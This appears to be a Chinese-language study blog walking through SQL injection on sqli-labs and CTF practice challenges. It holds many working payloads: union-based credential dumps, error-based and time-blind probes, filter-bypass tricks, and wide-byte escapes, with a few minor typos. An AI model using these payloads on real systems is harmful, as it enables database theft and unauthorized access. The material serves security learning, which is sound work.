No title
No title
Sherlock基础
在学习SQL注入漏洞之前,先学习一个相关的知识点。在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,需要记住三个表名,分别是:schemata、tables、columns。
1.schemata表存储该用户创建的所有数据库的库名。
>其中记录****数据库库名的字段名为*:*schemata_name****。
2.tables表存储该用户创建的所有数据库的库名和表名。
>其中记录****数据库库名*和*表名的字段名分别是*:*table_schema*和*table_name****。
3.columns表存储该用户创建的所有数据库的库名、表名和字段名。
>其中记录****数据库库名、表名和字段名的字段名分别是*:*tables_schema*、*table_name*和*column_name****。
*information_schema.tables:数据库的表名*
*information_schema.columns:数据库的列名*
注释符:
在MySQL中,常见注释符的表达方式:
# ......
:#号后面的都会被注释
-- ......
:–号后面的都会被注释,不过在 – 的前后都需要加空格再加数据
/\* ... \*/
:内联注释,内联注释可以用于整个SQL语句中,用来执行SQL语句。
例如:index?id=-10 /!union/ /!select/ 1,2,3
注入中的常用函数以及命令
1.union
用来合并两个或多个select语句查询的结果
语法:select column_name from table_name1 union select column_name from table_name2
注意:union内部的select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条select语句中的列的顺序必须是相同的
2.order by
默认升序,如果希望按照降序对记录进行排序,也可以使用desc关键字(order by被正则过滤掉的话,是可以用desc来进行判断字段)
例如:order by 1或者order by 2中其实1表示第一个栏位,2表示第二个栏位。如果当表中只有两个字段列时,order by 3就会报错,就是通过这种方式来判断字段数
3.concat
将多个字符串连接成一个字符串
语法:concat(str1,str2)
注意:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null
4.goup_concat()
该函数返回带有来自一个组的连接的非NULL值的字符串结果。
*功能:将group by产生的同一个分组中的值连接起来,返回一个字符串的结果。*
语法:group_concat( [distinct]要连接的字段[order by 排序字段 asc/desc] [separator‘分隔符’])
说明:distinct可以排除重复值,order by子句可以对结果中的值进行跑徐,separator是一个字符串值,缺省为一个逗号。
5.***substr()***:用来截取数据库中某个字段的一部分
语法:substr(string,start,length)
参数:string:必选,数据库中需要截取的字段
start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始截取;0,在字符串中第一个位置开始截取。
length:可选,需要截取的长度。缺省。即截取到结束位置
***6.ascii(str)***:返回字符串最左边的数值
语法:ascii(str)
***7.database()***:当前使用的数据库
1 | select database() |
判断闭合形式
绕过的万能密钥:1' or 1=1
这样主要是拿来判断成功登录时会有什么反应
首先尝试:
1 | ?id=1’ |
1.如果都报错,则为整形闭合。
2.如果单引号报错,双引号不报错。
然后尝试:?id=1’–-+
无报错则单引号闭合,报错则单引号加括号。
3如果单引号不报错,双引号报错。
然后尝试:?id=1"–-+
无报错则双引号闭合,报错则双引号加括号。
多层括号同理
绕过方式
>大小写绕过:
比如过滤select时,在不区分大小写时候可以Select绕过
>双写绕过:
过滤关键字可以用selselctect来绕过
>*空格*****绕过****:
1 /**/
可以代替空格当空格被过滤的时候
例如:select/**/user/**/from/**/users;
2可以使用Tab代替空格
3可以使用空格url编码%20
4如果空格被过滤,括号没有被过滤,可以用括号绕过
例如:select(user)from(users);
当=
被过滤时:可以用like或rlike,也可以用regexp(正则来匹配)来绕过
比如=’admin’ 就可以like ‘admin’
****>select被过滤时:****可以使用desc倒序查看表内的字段,也可以show columns from 表名。
当需要查看具体信息的时候,可以使用预处理语句(1.5 堆叠注入查询)
****>编码绕过:****两次URL全编码
fuzz脚本(好东西)
get传参
1 | import requests |
post传参
1 | import requests |
union注入
get传参使用 --+
来注释掉后面的代码,或者 %23
(这个是#的url编码)
post传参使用 #
来注释掉后面的代码
less-1
首先题目为get传参,通过测试可以判断出是单引号闭合,开始注入
?id=1' order by 4 --+
:通过这个判断出字段数为3
?id=1' and 1=2 union select 1,2,database() --+
:爆出数据库名
或者?id=1' and 1=2 union select 1,2, group_concat(schema_name) from information_schema.schamata --+
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
:爆出所有表名
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
:爆出一个表的所有字段名
?id=1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
爆出用户名和密码,这样子爆出来看的更加整洁一点
less-2&less-3&less-4&less-25&less-25a
less-2:get传参,测试出为整形闭合,接下来的操作和less-1的步骤一样
less-3:get传参,测试出为单引号加括号闭合,接下来操作不用多说了
less-4:get传参,测试出为双引号加括号闭合,接下来操作一致
less-25:单引号闭合,如果有用到or或者and要记得双写
less-25a:整形闭合,如果有用到or或者and要记得双写
less-11&less-12
less-11:post传参,单引号闭合
less-12:post传参,双引号加括号闭合
less-20&less-21&less-22
1 | $cookee = $_COOKIE['uname']; |
利用正确账号密码登录进去,再利用cookie进行注入操作,单引号闭合
less-21:单引号加括号闭合,cookie内容要base64编码
less-22:双引号闭合
less-23
1 | $reg = "/#/"; |
要在不用注释符号的情况下完成注入,所以我们要让前后两个单引号都完成闭合。例子如下:
1 | ?id=-1' union select 1,database(),'3 |
less-26(不间断空格)&less-26a&less-27&less-27a&less-28&less-28a
单引号闭合,过滤了 or,and , /* , – , # , 空格 , /
1 | ?id=123'union%A0select%A01,2,'3 |
%A0
是不间断空格(non-breaking space)的 URL 编码表示
less-26a:和上一题相比就是多加了一个括号
1 | ?id=100')union%a0select%a01,2,3||('3 |
less-27:在上面一题的基础上再加上大小写混写
less-27a:在上一题基础上单引号变成了双引号
less-29&less-30&less-31
到该题检验的方式就又变了,查看login.php文件,主要注意以下两个函数
具体代码如下:
1 | function whitelist($input) |
whitelist函数是要求输入的内容只能够是数字,而java_implimentation函数是检测第一个&前面id的内容,所以&后面的内容会怎么办,我们尝试一下,如下所示:
发现回显的是第二个id的内容,于是就找到了漏洞,在第二个id后面进行union注入
获取数据库名:?id&id=0' union all sElect 1,database(),3 --+
剩下的步骤就是普通的union注入
less-30:双引号包裹
less-31:双引号加括号包裹
报错注入
updatexml报错
updatexml()函数的使用:更新xml文档的函数,返回替换的XML片段
语法:updatexml(xml_documat,XPath_string,new_value)
参数:1.xml_documat:是STRING格式,为XML文档对象的名称,这一项可以输入一个十六进制的字符,比如0x26(&)。
2.XPath_string:是XPath的格式的字符串,报错注入时需要写入错误的格式来显示错误的信息。
3.new_value:是string格式替换查找到符合条件的数据,在注入时可以加入任意字符,比如0x26(&)。
构造模板注入语句:
1 | select * from major where id=1 and updatexml(1,concat(0x26,(select database()),0x26),3); |
原理解释:由于updatexml的第二个参数需要Xpath格式的字符串,以0x26开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入
注意:在爆表、列、值的时候注意一次查询最长输出32位
extractvalue报错
extractvalue()函数的使用:使用XPath表示从XML字符串中提取值,从目标XML中返回包含所查询值得字符串。
语法:extractvalue(xml_documat,XPath_string)
参数:1.xml_documat:是STRING格式,为XML文档对象的名称,这一项可以输入一个十六进制的字符,比如0x26(&)。
2.XPath_string:是XPath的格式的字符串,报错注入时需要写入错误的格式来显示错误的信息。
构造注入语句:
1 | select * from major where id=1 and extractvalue(1,concat(0x26,(select database()),0x26)); |
注意:extrachtvalue()函数一次只能查询32位长度,在爆表、列、值的时候注意
原理解释:当Xpath路径语法错误时,就会报错,同时报错内容含有错误的路径内容。在updatexml()函数和extractvalue()函数中,都是通过对第二个参数Xpath进行修改,输入错误的格式,进行报错回显,来达到SQL注入。
less-5
get传参,测试后发现是单引号包含,并且没有任何回显点可以利用,所以我们考虑使用报错注入,这边我是用的是extractvalue报错
?id=-1'and extractvalue(1,concat(0x26,(select database()),0x26))--+
:爆库
?id=-1'and extractvalue(1,concat(0x26,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x26))--+
:爆出所有表名
?id=-1'and extractvalue(1,concat(0x26,(select group_concat(username,password) from users),0x26))--+
:爆数据,但只有32位
1' and extractvalue(1,concat(0x26,(select group_concat(username) from users where username not in('Dumb','Angelina','Dummy','secure')),0x26))--+
:把已知的数据排除在外
less-6
get传参,测试后发现是双引号包含,然后就按照less-5做就可以了
less-13&less-14
less-13:post传参,单引号加括号闭合
less-14:post传参,双引号闭合
CTFHub报错注入
前面步骤都一样,就是最后爆出来的flag不全,所以要使用从右往左查看函数right或者用 not in
把查询到的排除在外
1 | 1 and extractvalue(1,concat(0x26,(select right(group_concat(flag),32) from flag),0x26)) |
less-17
通过查看源代码发现输入的账号名会被一个函数检查,所以不能从账号名处进行注入操作,继续查看源代码发现可以从密码处入手
1 | @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; |
即从 $update
处进行报错注入,单引号闭合,剩下的操作不必多说
1 | uname=admin&passwd=1' and extractvalue(1,concat(0x26,(select database()),0x26))# |
less-18
1 | $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; |
通过源代码发现用户名和密码都有强烈的过滤,登录成功后会回显 user-agent
,所以要利用其insert语句来进行注入,注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号
post语句:uname=admin1&passwd=admin1
,需要成功登录才可以
在注入的两个单引号之间可以插入其他 Sql 语句,注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 要用 OR 进行连接:'or extractvalue(1,concat(0x26,(select database()),0x26)) or'
less-19
成功登陆后回显refere,在那上面进行注入,剩下步骤与less-18的一模一样
布尔盲注
CTFHub
get传参,整型注入,输入正确会返回 query success
id=1 and (length(database())>3)
:通过这个判断出数据库长度为4
通过下面判断出数据库的正确名称为sqli
1 | id=1 and (ascii(substr(database(),1,1))>110) |
通过下面判断出数据库里面存在两个表(大于0说明存在表)
1 | 1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0 |
测出表的长度都为4
1 | 1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4 |
然后通过同样的方法判断出第一个表名,第二个表名flag
1 | 1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110 |
查出flag表的字段数是1
1 | 1 and (select count(column_name) from information_schema.columns where table_name="flag")=1 |
判断出表名长度为4,测试出字段名为flag
1 and (select count(flag) from flag)=1
:判断该字段有几行
1 and ascii(substr((select flag from flag limit 0,1), 32,1))
:解出flag
1 | import requests |
less-8
爆出数据库名:
1 | import requests |
爆出数据库下面有4张表:
1 | import requests |
爆出表的长度和名字:
1 | import requests |
爆破字段数和字段名的脚本和上面类似
爆破users表下的uesrname字段:
1 | import requests |
爆破uses表下的password字段和上面类似
如果脚本还有不懂可以点击[这里](sqli-labs_less8布尔盲注脚本_sqlilab less8盲注脚本-CSDN博客)
时间注入
时间注入是利用sleep()或者benchmark()等函数让MySQL的执行时间变长,通过时间的改变来判断结果
模板语句:if(length(database())>1,sleep(3),1)
意思就是,如果数据库库名的长度大于1,则MySQL查询休眠3秒,否则查询1。查询1的结果大约一般只有几十毫秒,根据网页的响应时间,就可以判断条件是否正确
语法:if(expr1,expr2,expr3)
语法含义:如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3
1 and if(length(database())=4,sleep(3),1)
:查询数据库长度
接下来的步骤就是把 length(database()=4)
进行更换,跟手动布尔盲注差不多
less-9
?id=1' and if(length(database())=8,sleep(3),1) --+
:得出数据库长度为8,下面为脚本的方法:
1 | import requests |
爆出数据库名:
1 | import requests |
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))>0,sleep(3),1) --+
:得到数据库下面有4张表
爆破表的长度可见题目less-8
爆破表的名字:
1 | import requests |
爆破字段数,长度,名字的脚本类似
爆破一行的字段内容(可以通过更改 limit 0,1
来更改爆破地方,可以去看less-8的爆破):
1 | import requests |
less-10
双引号闭合,剩下的和less-9一样
less-15(post传参脚本)&less-16
注意:该题逻辑运算符要用or
通过万能密钥 1' or 1=1
看到了成功登录时的图片
uname=1' or length(database())=8#&passwd=1
数据库长度为8
sql-labs-less15/less16|SQL注入|脚本时间注入-腾讯云开发者社区-腾讯云 (tencent.com)
爆破数据库名字
1 | import requests |
查表名
table_payload = {"uname":"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)#"%(i,j,k),"passwd":"1"}
可以这么写
less-16:Post传参,双引号加括号闭合
堆叠注入
堆叠查询可以执行多条语句,多语句之间可以以分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。
@堆叠查询注入模板语句:
1 | 1';select * from major;# |
SQL预处理(Prepare),是一种特殊的SQL处理方式;预处理不会直接执行SQL语句,而是先将SQL语句编译,生成执行计划,然后通过Execute命令携带SQL参数来执行SQL语句。
预定义prepare模板:
1 | prepare xxx as select * from user where id=1; //将select查询语句定义为xxx |
set是SQL Server中对已经定义的变量赋值方式
BUUCTF [强网杯 2019]随便注
单引号包含,字段数为2
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
:一些关键词被过滤掉了
0';show databases;--+
:显示出所有数据库名
0';show tables;--+
:显示出所有表名
1 | 0';desc `1919810931114514`;--+:显示出表的字段名 |
发现有个字段是flag,于是用预定义语句来查询flag字段
1 | 0';sEt@a=concat("sel","ect flag from `1919810931114514`");PRepare hello from @a;execute hello;--+ |
二次注入
BUUCTF [RCTF 2015]EasySQL
在帐号处输入一些特殊字符,然后去更改密码,可以测出是双引号闭合,会返回报错语句,可以判定是存在二次注入的,在注册的时候写入,然后再修改密码的地方修改密码后触发,这样就导致错误的输出,这里有错误的回显就可以使用报错注入来进行注入
过滤掉了很多的字符
推测的查询语句为 select * from 表名 where id="%s" and pwd="密码"
1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
:查询出数据库
后面操作就是报错注入了
1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
:WHERE real_flag_1s_here REGEXP '^f'
表示筛选出 real_flag_1s_here
列值以字母 ‘f’ 开头的行。REGEXP
是正则表达式匹配操作符,’^’ 表示匹配行首(不这样子的话数据是一堆XXXXXXX)
1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
:获得到剩下的flag,不过是反着的
less-24
没有任何过滤,只能做到可以修改admin密码的程度,网上题解也就到这个程度
Cookie注入
就是注入的地方变成了cookie
CTFHUB Web SQL Cookie注入
做这种题目最好用bp抓包不要直接用hackbar,不好用,操作跟union注入的一样
宽字节注入
哪里存在这个注入漏洞
由于数据库查询前执行了SET NAMES' GBK'
,将编码设置为宽字节GBK,所以此处是存在宽字节注入漏洞
在PHP中,通过iconv()
进行编码转换时,也可能存在宽字符注入漏洞
less-32&less-33&less-34
1 | function check_addslashes($string) |
这里通过使用id=1’的查询方式发现,Hint中告知了后端将我们的语句进行了\转义,参数id=1在数据库查询时是被单引号包围的。当传入id=1’时,传入的单引号又被转义符(反斜线)转义,导致参数ID无法逃逸单引号的包围,所以在一般的情况下,此处是不存在SQL注入漏洞的。不过有一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式就是在地址后面加一个**%df**,再加单引号,可以通过上面的测试发现,在单引号之前PHP会自动加一个\
(反斜杠),因为反斜杠的编码为%5c,所以自动转义为\'
,而在GBK编码中,%df5c是繁体字“連”,由于汉字是双字节,所以这里'
之前的\
就会被吃掉消失,那么会造成单引号成功逃逸,爆出MySQL数据库的错误
?id=0%df'union select 1,2,3--+
:发现就回显2,3
?id=0%df'union select 1,2,database()--+
:爆数据库名
?id=0%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())--+
:爆表名
?id=0%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema = (select database())limit 0,1)--+
:爆一个个表的字段
?id=0%df'union select 1,(select group_concat(id) from emails),(select group_concat(email_id) from emails)--+
:爆表的内容
less-33:和less-32一样,这里就不多说了
less-34:只是传参方式从get变成了post而已,剩下的都没有变